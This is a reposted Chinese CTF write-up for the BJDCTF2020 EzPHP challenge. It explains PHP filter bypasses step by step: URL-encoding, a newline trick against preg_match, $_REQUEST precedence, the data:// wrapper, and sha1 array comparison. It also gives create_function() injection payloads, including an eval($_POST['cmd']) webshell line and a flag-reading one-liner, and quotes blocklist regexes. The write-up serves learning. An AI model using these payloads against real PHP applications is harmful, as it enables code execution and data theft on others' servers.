刷题记录:[BJDCTF2020]EzPHP

Posted 20175211lyz

tags:

篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了刷题记录:[BJDCTF2020]EzPHP相关的知识,希望对你有一定的参考价值。

题目复现链接:https://buuoj.cn/challenges
参考链接:BGXY_CTF “Y1ng’s Baby Code” 官方writeup

url编码绕过针对$_SERVER[\'QUERY_STRING\']的过滤

if($_SERVER) {
    if (
    preg_match(\'/shana|debu|aqua|cute|arg|code|flag|system|exec|passwd|ass|eval|sort|shell|ob|start|mail|\\$|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|read|inc|info|bin|hex|oct|echo|print|pi|\\.|\\"|\\\'|log/i\', $_SERVER[\'QUERY_STRING\'])
    )
        die(\'You seem to want to do something bad?\');
}

由于$_SERVER[\'QUERY_STRING\']不会进行URLDecode,而$_GET[]会,所以只要进行url编码即可绕过

绕过/^xxx$/类型的preg_match

if (!preg_match(\'/http|https/i\', $_GET[\'file\'])) {
    if (preg_match(\'/^aqua_is_cute$/\', $_GET[\'debu\']) && $_GET[\'debu\'] !== \'aqua_is_cute\') {
        $file = $_GET["file"];
        echo "Neeeeee! Good Job!<br>";
    }
} else die(\'fxck you! What do you want to do ?!\');

preg_match值匹配第一行,在句尾加上%0a即可绕过
preg_match绕过总结

绕过$_REQUEST

if($_REQUEST) {
    foreach($_REQUEST as $value) {
        if(preg_match(\'/[a-zA-Z]/i\', $value))
            die(\'fxck you! I hate English!\');
    }
}

$_REQUEST同时接受GET和POST的数据,并且POST具有更高的优先值。
这个优先级是由php的配置文件决定的,在php.ini中

; This directive determines which super global arrays are registered when PHP
; starts up. G,P,C,E & S are abbreviations for the following respective super
; globals: GET, POST, COOKIE, ENV and SERVER. There is a performance penalty
; paid for the registration of these arrays and because ENV is not as commonly
; used as the others, ENV is not recommended on productions servers. You
; can still get access to the environment variables through getenv() should you
; need to.
; Default Value: "EGPCS"
; Development Value: "GPCS"
; Production Value: "GPCS";
; http://php.net/variables-order
variables_order = "GPCS"

; This directive determines which super global data (G,P & C) should be
; registered into the super global array REQUEST. If so, it also determines
; the order in which that data is registered. The values for this directive
; are specified in the same manner as the variables_order directive,
; EXCEPT one. Leaving this value empty will cause PHP to use the value set
; in the variables_order directive. It does not mean it will leave the super
; globals array REQUEST empty.
; Default Value: None
; Development Value: "GP"
; Production Value: "GP"
; http://php.net/request-order
request_order = "GP"

只需要同时GET和POST同一个参数就可以绕过

file_get_contents比较内容相同

if (file_get_contents($file) !== \'y1ng_YuZhou_Wudi_zuishuai\')
    die(\' Am not I universe wudi zuishuai?<br>\');

一般来说可以用php://inputdata://

  • php://input是将post过来的数据全部当做文件内容
  • data://有以下几种用法
    • data://text/plain,<?php phpinfo()?>
    • data://text/plain;base64,PD9waHAgcGhwaW5mbygpPz4=

绕过sha1比较

if ( sha1($shana) === sha1($passwd) && $shana != $passwd ){
    extract($_GET["flag"]);
    echo "Very good! you know my password. But what is flag?<br>";
} else{
    die("fxck you! you don\'t know my password! And you don\'t know sha1! why you come here!");
}

如果sha1()的参数为数组,将会返回false,所以sha1(Array(xxx))==sha1(Array(yyy)))

create_function()代码注入

if(preg_match(\'/^[a-z0-9]*$/isD\', $code) ||
    preg_match(\'/fil|cat|more|tail|tac|less|head|nl|tailf|ass|eval|sort|shell|ob|start|mail|\\`|\\{|\\%|x|\\&|\\$|\\*|\\||\\<|\\"|\\\'|\\=|\\?|sou|show|cont|high|reverse|flip|rand|scan|chr|local|sess|id|source|arra|head|light|print|echo|read|inc|flag|1f|info|bin|hex|oct|pi|con|rot|input|\\.|log|\\^/i\', $arg) ) {
    die("<br />Neeeeee~! I have disabled all dangerous functions! You can\'t get my flag =w=");
} else {
    include "flag.php";
    $code(\'\', $arg);
}

其中$code$arg可控,自然想到create_function()

$myfunc = create_function(\'$a, $b\', \'return $a+$b;\');

相当于

function myfunc($a, $b){
    return $a+$b;
}

但是如果第二个参数没有限制的话,如$code=return $a+$b;}eval($_POST[\'cmd\']);//,就变成

function myfunc($a, $b){
	return $a+$b;
}
eval($_POST[\'cmd\']);//}

可执行任意代码

get_defined_vars()获取所有变量,配合require()获得flag

require(base64_decode(MWZsYWcucGhw));
var_dump(get_defined_vars());

此处flag所在文件名也可以通过^~的方式构造,也可以通过GET方法传入,再通过get_defined_vars()配合各种数组操作取出来

define+fopen()+fgets()读文件

没ban掉fopen(),可以fgets()读取文件,但是这个文件指针需要移动就不能读取完整文件,$被禁无法定义变量

define(aaa,fopen(~(%8d%9a%9e%ce%99%93%cb%98%d1%8f%97%8f),r));while(!feof(aaa))var_dump(fgets(aaa));fclose(aaa);

以上是关于刷题记录:[BJDCTF2020]EzPHP的主要内容,如果未能解决你的问题,请参考以下文章

bjdctf_2020_babyrop2

[BJDCTF 2nd]文件探测

[BJDCTF2020]ZJCTF,不过如此

2020BJDCTF

[BJDCTF2020]ZJCTF,不过如此

[BJDCTF2020]Mark loves cat |变量覆盖(三解)